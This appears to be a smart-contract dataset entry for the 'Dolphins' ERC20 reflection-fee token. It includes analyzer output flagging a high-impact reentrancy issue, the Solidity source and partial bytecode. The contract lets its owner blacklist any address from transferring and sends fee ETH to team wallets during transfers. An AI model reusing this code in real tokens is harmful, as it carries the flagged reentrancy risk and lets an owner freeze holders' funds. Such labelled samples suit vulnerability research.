92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e9982612fe1565b9150612ea483612fe1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ed957612ed861303d565b5b828201905092915050565b6000612eef82612fe1565b9150612efa83612fe1565b925082612f0a57612f0961306c565b5b828204905092915050565b6000612f2082612fe1565b9150612f2b83612fe1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f6457612f6361303d565b5b828202905092915050565b6000612f7a82612fe1565b9150612f8583612fe1565b925082821015612f9857612f9761303d565b5b828203905092915050565b6000612fae82612fc1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061300382612fe1565b9050919050565b60005b8381101561302857808201518184015260208101905061300d565b83811115613037576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f53756d206f662073656c6c2066656573206d757374206265206c65737320746860008201527f616e203130303000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f53756d206f662070657263656e7473206d75737420657175616c203130300000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61338281612fa3565b811461338d57600080fd5b50565b61339981612fe1565b81146133a457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c94de811a63c9ecee05bc5bfbc4640774a662acf1ee04264f065ebe00e43f7af64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,677 |
0x1561930f597cdc719d0362498c9e176445e2db0e
|
/**
*Submitted for verification at Etherscan.io on 2021-07-29
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-28
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Dolphins is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Dolphins Token_T.me/DolphinsToken";
string private constant _symbol = "Dolphins";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 6;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 6;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ebb565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129de565b610441565b6040516101789190612ea0565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a3919061305d565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061298f565b61046f565b6040516101e09190612ea0565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612901565b610548565b005b34801561021e57600080fd5b50610227610638565b60405161023491906130d2565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a5b565b610641565b005b34801561027257600080fd5b5061027b6106f3565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612901565b610765565b6040516102b1919061305d565b60405180910390f35b3480156102c657600080fd5b506102cf6107b6565b005b3480156102dd57600080fd5b506102e6610909565b6040516102f39190612dd2565b60405180910390f35b34801561030857600080fd5b50610311610932565b60405161031e9190612ebb565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129de565b61096f565b60405161035b9190612ea0565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a1a565b61098d565b005b34801561039957600080fd5b506103a2610add565b005b3480156103b057600080fd5b506103b9610b57565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612aad565b6110b2565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612953565b6111fa565b604051610418919061305d565b60405180910390f35b606060405180606001604052806021815260200161379660219139905090565b600061045561044e611281565b8484611289565b6001905092915050565b6000670de0b6b3a7640000905090565b600061047c848484611454565b61053d84610488611281565b610538856040518060600160405280602881526020016137b760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ee611281565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c139092919063ffffffff16565b611289565b600190509392505050565b610550611281565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d490612f9d565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610649611281565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cd90612f9d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610734611281565b73ffffffffffffffffffffffffffffffffffffffff161461075457600080fd5b600047905061076281611c77565b50565b60006107af600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d72565b9050919050565b6107be611281565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084290612f9d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f446f6c7068696e73000000000000000000000000000000000000000000000000815250905090565b600061098361097c611281565b8484611454565b6001905092915050565b610995611281565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1990612f9d565b60405180910390fd5b60005b8151811015610ad9576001600a6000848481518110610a6d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad190613373565b915050610a25565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1e611281565b73ffffffffffffffffffffffffffffffffffffffff1614610b3e57600080fd5b6000610b4930610765565b9050610b5481611de0565b50565b610b5f611281565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be390612f9d565b60405180910390fd5b600f60149054906101000a900460ff1615610c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c339061301d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ccb30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611289565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1157600080fd5b505afa158015610d25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d49919061292a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dab57600080fd5b505afa158015610dbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de3919061292a565b6040518363ffffffff1660e01b8152600401610e00929190612ded565b602060405180830381600087803b158015610e1a57600080fd5b505af1158015610e2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e52919061292a565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610edb30610765565b600080610ee6610909565b426040518863ffffffff1660e01b8152600401610f0896959493929190612e3f565b6060604051808303818588803b158015610f2157600080fd5b505af1158015610f35573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5a9190612ad6565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550670de0b6b3a76400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105c929190612e16565b602060405180830381600087803b15801561107657600080fd5b505af115801561108a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ae9190612a84565b5050565b6110ba611281565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113e90612f9d565b60405180910390fd5b6000811161118a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118190612f5d565b60405180910390fd5b6111b860646111aa83670de0b6b3a76400006120da90919063ffffffff16565b61215590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111ef919061305d565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f090612ffd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611369576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136090612f1d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611447919061305d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bb90612fdd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152b90612edd565b60405180910390fd5b60008111611577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156e90612fbd565b60405180910390fd5b61157f610909565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115ed57506115bd610909565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5057600f60179054906101000a900460ff1615611820573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117235750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611769611281565b73ffffffffffffffffffffffffffffffffffffffff1614806117df5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c7611281565b73ffffffffffffffffffffffffffffffffffffffff16145b61181e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118159061303d565b60405180910390fd5b5b5b60105481111561182f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118dc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119875750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119dd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f55750600f60179054906101000a900460ff165b15611a965742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4557600080fd5b600a42611a529190613193565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa130610765565b9050600f60159054906101000a900460ff16158015611b0e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b265750600f60169054906101000a900460ff165b15611b4e57611b3481611de0565b60004790506000811115611b4c57611b4b47611c77565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf75750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0157600090505b611c0d8484848461219f565b50505050565b6000838311158290611c5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c529190612ebb565b60405180910390fd5b5060008385611c6a9190613274565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc760028461215590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cf2573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d4360028461215590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d6e573d6000803e3d6000fd5b5050565b6000600654821115611db9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db090612efd565b60405180910390fd5b6000611dc36121cc565b9050611dd8818461215590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e3e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e6c5781602001602082028036833780820191505090505b5090503081600081518110611eaa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4c57600080fd5b505afa158015611f60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f84919061292a565b81600181518110611fbe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611289565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612089959493929190613078565b600060405180830381600087803b1580156120a357600080fd5b505af11580156120b7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120ed576000905061214f565b600082846120fb919061321a565b905082848261210a91906131e9565b1461214a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214190612f7d565b60405180910390fd5b809150505b92915050565b600061219783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121f7565b905092915050565b806121ad576121ac61225a565b5b6121b884848461228b565b806121c6576121c5612456565b5b50505050565b60008060006121d9612468565b915091506121f0818361215590919063ffffffff16565b9250505090565b6000808311829061223e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526